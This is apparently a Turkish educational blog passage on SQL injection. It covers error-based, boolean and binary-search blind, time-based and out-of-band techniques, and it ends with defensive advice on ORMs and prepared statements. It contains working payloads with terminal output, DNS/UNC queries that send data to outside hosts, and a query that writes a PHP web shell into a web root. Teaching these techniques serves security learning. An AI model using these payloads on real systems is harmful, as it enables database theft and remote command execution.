SQL Injection öğrenirken, yanımızda her zaman bir egzersiz ortamı bulunması gerekir. Bu ortamı biz, MySQL üzerinde kurarak sağlıyoruz.
Böyle senaryolarda işimize yarayacak fonksiyonlardan biri de ExtractValue()
gibi yardımcı MySQL fonksiyonlarıdır. Bu fonksiyon, XML verisi üzerinden veri çekmek için tasarlanmış olsa da, hata mesajı üretmesi sayesinde veri sızdırmak için yaratıcı bir şekilde kullanılabilir.
Bu fonksiyonun yaptığı işlem, parametre olarak verilen XML verisini parse etmek (ayrıştırmak) ve ikinci parametreyle belirtilen XPath ifadesine göre bir değer döndürmektir.
Ancak biz bunu, bilinçli olarak hatalı veya eksik XPath ifadeleri vererek hata mesajı üretmek amacıyla kullanabiliriz. Çünkü bu hata mesajlarında, veritabanından çektiğimiz bilgiler yer alabilir.
MySQL’in XML fonksiyonları hakkında daha fazla teknik bilgiye resmi dökümantasyon üzerinden ulaşabilirsiniz.
⚡ ExtractValue()
Fonksiyonuyla Hata Mesajı Üretmek
Şunu deneyelim:
1
select extractvalue(rand(), concat(1, 'fr0stb1rd'))
1
http://testphp.vulnweb.com/listproducts.php?cat=extractvalue(rand(), concat(1, 'fr0stb1rd'))
Çıktı:
1
Error: XPATH syntax error: 'fr0stb1rd'
İşte tam bu noktada önümüze subquery dünyası açılıyor. Bu kısmın sunucudaki örnek kodu şu şekilde görünüyor olabilir:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$id = $_GET['id'];
$query = "SELECT * FROM products WHERE id = " . $id;
$result = mysql_query($query);
if (!$result) {
// Error message is directly displayed to user
die("Error: " . mysql_error());
}
while ($row = mysql_fetch_array($result)) {
echo $row['name'];
}
?>
Burada concat(1, 'fr0stb1rd')
yerine select database()
dersek verdiğimiz komutu çalıştırmış oluruz. bunu parantezler içinde yapmalıyız. yani:
1
select extractvalue(rand(), concat(1, (select database())))
1
http://testphp.vulnweb.com/listproducts.php?cat=extractvalue(rand(), concat(1, (select database())))
Çıktı:
1
Error: XPATH syntax error: 'acuart'
Gördüğünüz gibi, hata mesajı içinde acuart
adında bir veritabanı ismi ortaya çıktı. Bu yöntemle bir subquery (alt sorgu) çalıştırarak veritabanı adını öğrenmiş olduk.
3. ⚖️ Boolean-based SQL Injection
Peki, uygulamanın kod yapısında küçük bir değişiklik yaparsak ne olur?
1
2
3
4
if result.size() > 0:
print("haber var")
else:
print("haber yok")
Bu yapı sayesinde artık SELECT sorgusu bir sonuç döndürdüğünde uygulama “haber var”, döndürmediğinde ise “haber yok” yazacaktır. Bu, bizim için veri sızdırmak adına oldukça kullanışlı bir geri bildirim mekanizması oluşturur.
Örneğin şöyle bir sorgu gönderdiğimizi düşünelim:
1
2
3
4
5
6
SELECT * FROM haberler WHERE
id = 1 AND SUBSTRING(
(SELECT table_name FROM information_schema.tables
WHERE table_schema = database()
LIMIT 1,1) -- örnek çıktı: 'users'
,1,1) = 'a'
Eğer bu sorgunun çıktısı aşağıdaki gibiyse:
1
2
3
<html>
HABER VAR
</html>
Bu, aradığımız tablonun adının ikinci sıradaki karakterinin a
olduğunu gösterir. Böylece her karakteri deneme-yanılma (blind SQLi) yöntemiyle tek tek test ederek tablo adlarını (veya diğer verileri) çıkarabiliriz.
Bu yöntem, özellikle görsel geri dönüş olmayan (örneğin hata mesajı vermeyen) sistemlerde veri sızdırmanın etkili bir yoludur. Buna daha detaylı bakalım.
🔍 Binary Search ile Karakter Bulma
SQL Injection’da karakter bulma işlemi, özellikle uzun metinlerde oldukça zaman alabilir. Örneğin, bir karakteri bulmak için şu olasılıkları denememiz gerekir:
- 26 küçük harf (a-z)
- 26 büyük harf (A-Z)
- 10 rakam (0-9)
- 8 özel karakter (!@#$%^&*)
Toplam 70 farklı karakter olasılığı vardır. En kötü senaryoda, aradığımız karakteri bulmak için 70 deneme yapmamız gerekebilir. Bu süreci hızlandırmak için binary search (ikili arama) algoritmasını kullanabiliriz.
🎯 Binary Search Nasıl Çalışır?
Binary search, sıralı bir listede arama yaparken her adımda arama alanını yarıya indiren bir algoritmadır. Örnek üzerinden açıklayalım:
- Başlangıç Durumu
- Arama aralığı: 0-300
- Aranan sayı: 170 (bizim bildiğimiz)
- İlk Tahmin
- Orta nokta: (0 + 300) / 2 = 150
- 150 < 170 olduğu için, arama aralığını 150-300’e daraltırız
- İkinci Tahmin
- Yeni orta nokta: (150 + 300) / 2 = 225
- 225 > 170 olduğu için, arama aralığını 150-225’e daraltırız
- Üçüncü Tahmin
- Yeni orta nokta: (150 + 225) / 2 = 187
- 187 > 170 olduğu için, arama aralığını 150-187’e daraltırız
Bu şekilde devam ederek, her adımda arama alanını yarıya indirir ve çok daha hızlı bir şekilde hedef değere ulaşırız.
💡 SQL Injection’da Binary Search Kullanımı
SQL Injection’da binary search kullanarak karakter bulma işlemini şu şekilde yapabiliriz:
1
2
3
4
5
6
7
8
9
-- Örnek: ASCII değeri 170 olan karakteri bulmak için
SELECT * FROM users WHERE id = 1 AND ASCII(SUBSTRING(password, 1, 1)) > 150;
-- Yanıt: Evet (170 > 150)
SELECT * FROM users WHERE id = 1 AND ASCII(SUBSTRING(password, 1, 1)) > 225;
-- Yanıt: Hayır (170 < 225)
SELECT * FROM users WHERE id = 1 AND ASCII(SUBSTRING(password, 1, 1)) > 187;
-- Yanıt: Hayır (170 < 187)
Bu yaklaşımın avantajları:
- Her adımda olasılık sayısını yarıya indirir
- 70 karakterlik bir listede en fazla 7 deneme yeterlidir (log₂70 ≈ 7)
- Doğrusal aramaya göre çok daha hızlıdır
1
2
3
4
5
6
7
8
9
query = SELECT * FROM haberler WHERE
id= 1 and ASCII(
SUBSTRING(
(SELECT table_name FROM information_schema.tables WHERE
table_schema=database() LIMIT 1,1) #users
,1
,1
)
)>(32+129)/2=~80
Bu sorgular sayesinde, her adımda arama aralığını yarıya indirerek hedef karakterin ASCII değerini çok daha hızlı bulabiliriz. Örneğin, ilk sorguda “170 > 150” sonucu doğru çıkarsa, aralığı 150-300 olarak daraltırız. Sonraki adımlarda da aynı mantıkla devam ederek, klasik deneme-yanılma yöntemine kıyasla çok daha az sorguyla doğru karaktere ulaşmak mümkün olur.
Bu yöntem, binary search (ikili arama) tekniği ile SQL enjeksiyon saldırılarında veriyi çok daha verimli çıkarma imkanı sağlar. Aşağıda ASCII tablosunun yazdırılabilir kısmını inceleyebilirsiniz.
🧾 Yazdırılabilir ASCII Karakterleri
Des: 32 Hex: 20 [boşluk] Boşluk | Des: 33 Hex: 21 ! Ünlem işareti | Des: 34 Hex: 22 " Çift tırnak | Des: 35 Hex: 23 # Diyez | Des: 36 Hex: 24 $ Dolar işareti |
Des: 37 Hex: 25 % Yüzde | Des: 38 Hex: 26 & Ve işareti | Des: 39 Hex: 27 ' Tek tırnak | Des: 40 Hex: 28 ( Aç parantez | Des: 41 Hex: 29 ) Kapa parantez |
Des: 42 Hex: 2A * Yıldız | Des: 43 Hex: 2B + Artı | Des: 44 Hex: 2C , Virgül | Des: 45 Hex: 2D - Eksi | Des: 46 Hex: 2E . Nokta |
Des: 47 Hex: 2F / Bölü işareti | Des: 48 Hex: 30 0 Sıfır | Des: 49 Hex: 31 1 Bir | Des: 50 Hex: 32 2 İki | Des: 51 Hex: 33 3 Üç |
Des: 52 Hex: 34 4 Dört | Des: 53 Hex: 35 5 Beş | Des: 54 Hex: 36 6 Altı | Des: 55 Hex: 37 7 Yedi | Des: 56 Hex: 38 8 Sekiz |
Des: 57 Hex: 39 9 Dokuz | Des: 58 Hex: 3A : İki nokta | Des: 59 Hex: 3B ; Noktalı virgül | Des: 60 Hex: 3C < Küçüktür | Des: 61 Hex: 3D = Eşittir |
Des: 62 Hex: 3E > Büyüktür | Des: 63 Hex: 3F ? Soru işareti | Des: 64 Hex: 40 @ Et işareti | Des: 65 Hex: 41 A Büyük A | Des: 66 Hex: 42 B Büyük B |
Des: 67 Hex: 43 C Büyük C | Des: 68 Hex: 44 D Büyük D | Des: 69 Hex: 45 E Büyük E | Des: 70 Hex: 46 F Büyük F | Des: 71 Hex: 47 G Büyük G |
Des: 72 Hex: 48 H Büyük H | Des: 73 Hex: 49 I Büyük I | Des: 74 Hex: 4A J Büyük J | Des: 75 Hex: 4B K Büyük K | Des: 76 Hex: 4C L Büyük L |
Des: 77 Hex: 4D M Büyük M | Des: 78 Hex: 4E N Büyük N | Des: 79 Hex: 4F O Büyük O | Des: 80 Hex: 50 P Büyük P | Des: 81 Hex: 51 Q Büyük Q |
Des: 82 Hex: 52 R Büyük R | Des: 83 Hex: 53 S Büyük S | Des: 84 Hex: 54 T Büyük T | Des: 85 Hex: 55 U Büyük U | Des: 86 Hex: 56 V Büyük V |
Des: 87 Hex: 57 W Büyük W | Des: 88 Hex: 58 X Büyük X | Des: 89 Hex: 59 Y Büyük Y | Des: 90 Hex: 5A Z Büyük Z | Des: 91 Hex: 5B [ Aç köşeli parantez |
Des: 92 Hex: 5C \\ Ters bölü | Des: 93 Hex: 5D ] Kapa köşeli parantez | Des: 94 Hex: 5E ^ Üst işareti | Des: 95 Hex: 5F _ Alt çizgi | Des: 96 Hex: 60 ` Ters tek tırnak |
Des: 97 Hex: 61 a Küçük a | Des: 98 Hex: 62 b Küçük b | Des: 99 Hex: 63 c Küçük c | Des: 100 Hex: 64 d Küçük d | Des: 101 Hex: 65 e Küçük e |
Des: 102 Hex: 66 f Küçük f | Des: 103 Hex: 67 g Küçük g | Des: 104 Hex: 68 h Küçük h | Des: 105 Hex: 69 i Küçük i | Des: 106 Hex: 6A j Küçük j |
Des: 107 Hex: 6B k Küçük k | Des: 108 Hex: 6C l Küçük l | Des: 109 Hex: 6D m Küçük m | Des: 110 Hex: 6E n Küçük n | Des: 111 Hex: 6F o Küçük o |
Des: 112 Hex: 70 p Küçük p | Des: 113 Hex: 71 q Küçük q | Des: 114 Hex: 72 r Küçük r | Des: 115 Hex: 73 s Küçük s | Des: 116 Hex: 74 t Küçük t |
Des: 117 Hex: 75 u Küçük u | Des: 118 Hex: 76 v Küçük v | Des: 119 Hex: 77 w Küçük w | Des: 120 Hex: 78 x Küçük x | Des: 121 Hex: 79 y Küçük y |
Des: 122 Hex: 7A z Küçük z | Des: 123 Hex: 7B { Aç süslü parantez | Des: 124 Hex: 7C | Dikey çizgi | Des: 125 Hex: 7D } Kapa süslü parantez | Des: 126 Hex: 7E ~ Tilde |
Buradaki tabloya göre yukarıda anlattığımız mantıkta olduğu gibi aradığımız ifadeyi kolay bir şekilde bulabiliriz artık.
4. ⏱️ Time-based SQL Injection
Time-based SQL Injection, uygulamanın yanıt süresini kullanarak veritabanından bilgi çıkarmamızı sağlayan bir tekniktir. Bu teknik özellikle uygulama hata mesajlarını göstermediğinde veya yanıtları filtrelediğinde kullanışlıdır.
📝 Temel Senaryo
Öncelikle basit bir uygulama örneği düşünelim:
1
print("fr0stb1rd") # Her durumda aynı yanıt
Bu tür bir uygulamada, veritabanı sorgusunun sonucu ne olursa olsun aynı yanıtı alırız. Bu durumda, veritabanı yanıt süresini kullanarak bilgi çıkarabiliriz.
📋 Örnek Sorgu Yapısı
MariaDB’de temel bir test yapalım:
1
SELECT * FROM users WHERE id = IF(1=1, 1, 0);
Terminal çıktısı:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(fr0stb1rd)-[~]
└─$ su
Password:
┌──(root㉿kali)-[/home/kali]
└─# mysql
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 32
Server version: 11.8.1-MariaDB-4 Debian n/a
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> use mdisecsql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [mdisecsql]> SELECT * FROM users WHERE id = IF(1=1, 1, 0);
+----+-----------+----------+
| id | firstname | lastname |
+----+-----------+----------+
| 1 | fr0st | b1rd |
+----+-----------+----------+
1 row in set (0.002 sec)
MariaDB [mdisecsql]>
⏱️ Time-based Test
Şimdi sleep() fonksiyonunu kullanarak bir test yapalım:
1
SELECT * FROM users WHERE id = IF(1=1, sleep(5), 0);
Terminal çıktısı:
1
2
3
4
MariaDB [mdisecsql]> SELECT * FROM users WHERE id = IF(1=1, sleep(5), 0);
Empty set (15.002 sec)
MariaDB [mdisecsql]>
Burada dikkat edilmesi gereken noktalar:
- Sorgu 15 saniye sürdü (3 kayıt × 5 saniye)
- Her kayıt için 5 saniye bekleme gerçekleşti
- Boş sonuç döndü çünkü IF koşulu doğru olsa bile id=1 koşulu sağlanmadı
Tek bir kayıt için test yapalım:
1
SELECT * FROM users WHERE id = 1 AND 1 = IF(1=1, sleep(5), 0);
Terminal çıktısı:
1
2
3
4
MariaDB [mdisecsql]> SELECT * FROM users WHERE id = 1 AND 1 = IF(1=1, sleep(5), 0);
Empty set (5.002 sec)
MariaDB [mdisecsql]>
Bu sorguda:
- Sadece id=1 olan kayıt için 5 saniye bekleme gerçekleşti
- Toplam süre 5 saniye oldu
- Boş sonuç döndü çünkü AND koşulu sağlanmadı
🔍 Zafiyet Tespiti
Time-based SQL Injection’ı tespit etmek için kullanılan payload:
1
SELECT * FROM users WHERE id = ''-sleep(5)-'';
Payload, sızma testi veya saldırı sırasında hedef sisteme gönderilen ve sistemin davranışını manipüle etmek veya bilgi toplamak için kullanılan özel hazırlanmış veri ya da komut dizisidir.
Bu payload’ın çalışma mantığı:
- HTTP isteği tarayıcıdan çıkar
- Router, Firewall, Load Balancer üzerinden geçer
- API Gateway’e ulaşır
- Application Server’ın Controller’ına gelir
- Service katmanına iletilir
- Data katmanında SQL sorgusu oluşturulur
- Veritabanı sleep(5) komutunu çalıştırır
- Tüm bu süreç boyunca sistem bekler
Eğer uygulama 5 saniye veya daha uzun süre yanıt vermezse, bu bizim koyduğumuz sleep(5)
komutunun veritabanında çalıştığını, yani zaman bazlı SQL Injection zafiyetinin var olduğunu gösterir.
Eğer beklemez ve normal sürede yanıt verirse, bu durumda ya SQL Injection zafiyeti yoktur ya da sleep(5)
komutu çalıştırılamamıştır. Ancak bazen güvenlik önlemleri (örneğin, web uygulama güvenlik duvarları, input filtreleri veya prepared statement kullanımı) bu tür zaman tabanlı sorguları engeller.
Burada önemli olan nokta şu: Biz doğrudan veri sızdırmak yerine, veritabanının yanıt süresini manipüle ediyoruz. Böylece sistemin verdiği tepkiye bakarak arka planda hangi sorguların çalıştığını anlayabiliyoruz.
Bu tür testler manuel yapılabileceği gibi, sqlmap
gibi otomatik araçlarla da hızlıca tespit edilebilir. sleep()
fonksiyonu kullanarak uygulamanın tepkisini ölçmek, zaman tabanlı SQL Injection’ın en temel yöntemidir.
5. 🌐 Out-of-Band SQL Injection
Out-of-Band SQL Injection, veritabanı sunucusunun ağ üzerinden başka bir sunucuya veri göndermesini sağlayan bir tekniktir. Bu teknik özellikle asenkron çalışan uygulamalarda kullanışlıdır.
📝 Temel Senaryo
Öncelikle asenkron çalışan bir uygulama örneği düşünelim:
1
2
3
4
# Asenkron işlem örneği
id = request.get('id')
rabbitmq.pushTask('report_generate', id)
print("selam")
Bu tür uygulamalarda, geleneksel SQL Injection teknikleri işe yaramaz çünkü:
- Uygulama asenkron çalışır
- Veritabanı yanıtları doğrudan kullanıcıya gösterilmez
- İşlem başka bir servise devredilir
🌐 DNS Tabanlı Veri Sızıntısı
Windows sistemlerde DNS sorguları yapılabilir. Bu özellik, veritabanından veri çıkarmak için kullanılabilir:
1
2
-- Temel DNS sorgusu
SELECT 'fr0stb1rd' INTO OUTFILE '\\\\hacker.fr0stb1rd.gitlab.io\\a';
Terminal çıktısı:
1
2
3
4
MariaDB [mdisecsql]> SELECT 'fr0stb1rd' INTO OUTFILE '\\\\hacker.fr0stb1rd.gitlab.io\\a';
Query OK, 1 row affected (0.002 sec)
MariaDB [mdisecsql]>
Bu sorgu:
- Veritabanı sunucusunun DNS çözümlemesi yapmasını sağlar
- Çözümleme sırasında veri sızıntısı gerçekleşir
- Saldırgan kendi DNS sunucusunda bu veriyi yakalayabilir
💻 Windows UNC Path ve Samba Bağlantısı
Windows sistemlerde, \\
ile başlayan yollar UNC (Universal Naming Convention) path olarak adlandırılır. Bu özellik, Windows’un SMB (Server Message Block) protokolünü kullanarak ağ paylaşımlarına erişmesini sağlar:
1
2
-- Windows UNC path örneği
SELECT 'fr0stb1rd' INTO OUTFILE '\\\\192.168.1.100\\share\\test.txt';
Terminal çıktısı:
1
2
3
4
MariaDB [mdisecsql]> SELECT 'fr0stb1rd' INTO OUTFILE '\\\\192.168.1.100\\share\\test.txt';
Query OK, 1 row affected (0.002 sec)
MariaDB [mdisecsql]>
Bu özellik şu şekilde çalışır:
- Windows,
\\
ile başlayan yolları UNC path olarak yorumlar - Sistem otomatik olarak SMB protokolünü kullanır
- Hedef sunucuya bağlanmak için DNS çözümlemesi yapar
- Bu süreç sırasında veri sızıntısı gerçekleşebilir
🔄 Samba Bağlantısı ve DNS Çözümlemesi
Samba bağlantısı yapılırken:
- Önce domain adı çözümlenir
- Sonra SMB protokolü üzerinden bağlantı kurulur
- Bu süreç sırasında veri sızıntısı gerçekleşebilir
Örnek bir senaryo:
1
2
-- Domain çözümlemesi ile veri sızıntısı
SELECT 'fr0stb1rd' INTO OUTFILE '\\\\'+(SELECT 'secret_data')+'.fr0stb1rd.com\\a';
Terminal çıktısı:
1
2
3
4
MariaDB [mdisecsql]> SELECT 'fr0stb1rd' INTO OUTFILE '\\\\'+(SELECT 'secret_data')+'.fr0stb1rd.com\\a';
Query OK, 1 row affected (0.003 sec)
MariaDB [mdisecsql]>
Bu sorgu:
- Alt sorgu sonucunu (
secret_data
) domain adına ekler - Windows bu domain’i çözümlemeye çalışır
- DNS sunucusu bu veriyi yakalayabilir
🐚 Web Shell Yükleme
Out-of-Band SQL Injection’ın başka bir kullanımı, web shell yüklemektir:
1
2
-- PHP web shell yükleme
SELECT '<?=system(@$_GET["cmd"]);?>' INTO OUTFILE '/var/www/html/c99.php';
Terminal çıktısı:
1
2
3
4
MariaDB [mdisecsql]> SELECT '<?=system(@$_GET["cmd"]);?>' INTO OUTFILE '/var/www/html/c99.php';
Query OK, 1 row affected (0.002 sec)
MariaDB [mdisecsql]>
Bu sorgu:
- PHP web shell kodunu oluşturur
- Kodu web sunucusunun kök dizinine yazar
- Saldırgan bu shell üzerinden komut çalıştırabilir
🛡️ Güvenlik Önlemleri
Out-of-Band SQL Injection saldırılarına karşı sistemin güvenliğini artırmak için aşağıdaki önlemler mutlaka uygulanmalıdır:
Veritabanı Yetkileri Sınırlandırılmalı Uygulamanın kullandığı veritabanı kullanıcısına yalnızca ihtiyaç duyduğu yetkiler verilmelidir.
INTO OUTFILE
gibi dosya yazma izinleri devre dışı bırakılmalı; yalnızca gerekli tablolara ve mümkünse yalnızca okuma (SELECT) yetkisi tanımlanmalıdır.DNS ve SMB Erişimi Kısıtlanmalı Uygulamanın dışa DNS sorguları göndermesi ve SMB protokolü üzerinden bağlantı kurması engellenmelidir. Özellikle UNC yolları (\host\share gibi) üzerinden yapılacak veri aktarımı ihtimali ortadan kaldırılmalıdır.
Dosya Sistemi Erişimleri Kontrol Altına Alınmalı Web uygulamasının sunucu üzerindeki yazma izinleri sınırlandırılmalı, yalnızca gerekli dizinlere erişim sağlanmalıdır. Kritik sistem dizinlerine erişim engellenmeli ve tüm dosya işlemleri düzenli şekilde loglanmalıdır.
Ağ Trafiği İzlenmeli ve Filtrelenmeli DNS ve SMB protokolleri üzerinden gerçekleşen ağ trafiği sürekli olarak izlenmeli ve anormal istekler tespit edilmelidir. Güvenlik duvarı ve IPS/IDS sistemleriyle dış ağlara yönelik veri sızdırma girişimleri engellenmelidir.
⚡ Asenkron İşlem ve RabbitMQ
Modern web uygulamalarında, işlemler genellikle asenkron olarak gerçekleştirilir. Örnek bir senaryo:
1
2
3
4
# Asenkron işlem örneği
id = request.get('id')
rabbitmq.pushTask('report_generate', id)
print("selam")
Bu yapıda:
- Kullanıcıdan gelen veri doğrudan veritabanına gitmez
- Veri önce RabbitMQ gibi bir mesaj kuyruğuna gönderilir
- Arka planda çalışan bir servis bu veriyi işler
Bu durumda geleneksel SQL Injection teknikleri işe yaramaz çünkü:
sleep()
komutu çalışsa bile kullanıcı bunu göremez- Veritabanı yanıtları doğrudan kullanıcıya dönmez
- İşlem başka bir servise devredilir
🛡️ Bölüm 4: SQL Injection’a Karşı Defansif Programlama
Gelin örnek bir kod parçasını ele alalım:
1
2
3
4
id = request.get('id')
query = "SELECT * FROM haberler WHERE id = " + id
db.execute(query)
print("selam")
Bu yapı doğrudan SQL Injection tehdidine açıktır. Çünkü kullanıcıdan alınan veri doğrudan SQL sorgusuna ekleniyor. Kötü niyetli bir kullanıcı, bu alanı manipüle ederek veritabanını istismar edebilir.
✅ Doğru Yaklaşım: ORM Kullanımı
Modern framework’lerin sunduğu en büyük avantajlardan biri ORM (Object-Relational Mapping)‘dir. ORM, SQL sorgusu yazmadan güvenli şekilde veritabanıyla iletişim kurmamızı sağlar.
1
2
3
4
5
class Haberler(Table):
id = db.auto_increment()
id = request.get('id')
Haberler.filter(id=id).get()
🔒 Neden Güvenli?
- Parametreleri otomatik olarak bağlar
- SQL sorgusunu kendisi oluşturur
- SQL Injection riskini büyük ölçüde ortadan kaldırır
Not: Örnek kodlar, kavramsal açıklama amacıyla yalınlaştırılmış psödo kod biçimindedir. (bkz: sözde kod)
✅ Prepared Statements
ORM dışında, prepared statement (hazırlanmış sorgu) kullanmak da güvenli bir yöntemdir:
1
2
query = "SELECT * FROM haberler WHERE id = :id"
db.execute(query, {"id": id})
🔐 Avantajları:
- Girdi değerlerini otomatik escape eder
- Kod ve veri ayrımı sağlar
- SQL Injection’a karşı koruma sunar
🕵️ Bonus: Time-based SQL Injection Tespiti
Zafiyet testlerinde sıklıkla time-based payload kullanılır. Örnek:
1
SELECT * FROM users WHERE id = '' OR SLEEP(5) -- '';
📌 Bu tür payload’lar, uygulamanın hata vermediği durumlarda bile zafiyet olup olmadığını zaman farkı üzerinden tespit etmeye yarar.
Neden işe yarar?
- Kör (blind) SQL Injection tespitinde kullanılır
- Yanıt süresindeki gecikme, zafiyet göstergesi olabilir
📌 Özet & Sonuç
Bu yazıda SQL Injection’ın temel kavramlarını ve türlerini inceledik. UNION-based, Error-based, Boolean-based, Time-based ve Out-of-Band SQL Injection tekniklerini detaylı olarak ele aldık. Her bir teknik için pratik örnekler ve test senaryoları sunduk. Ayrıca, bu tür saldırılara karşı alınabilecek güvenlik önlemlerini ve defansif programlama yaklaşımlarını da tartıştık. SQL Injection’ı anlamak, web uygulamalarının güvenliğini sağlamak için kritik öneme sahiptir.
Başka bir yazıda görüşmek üzere, esen kalın.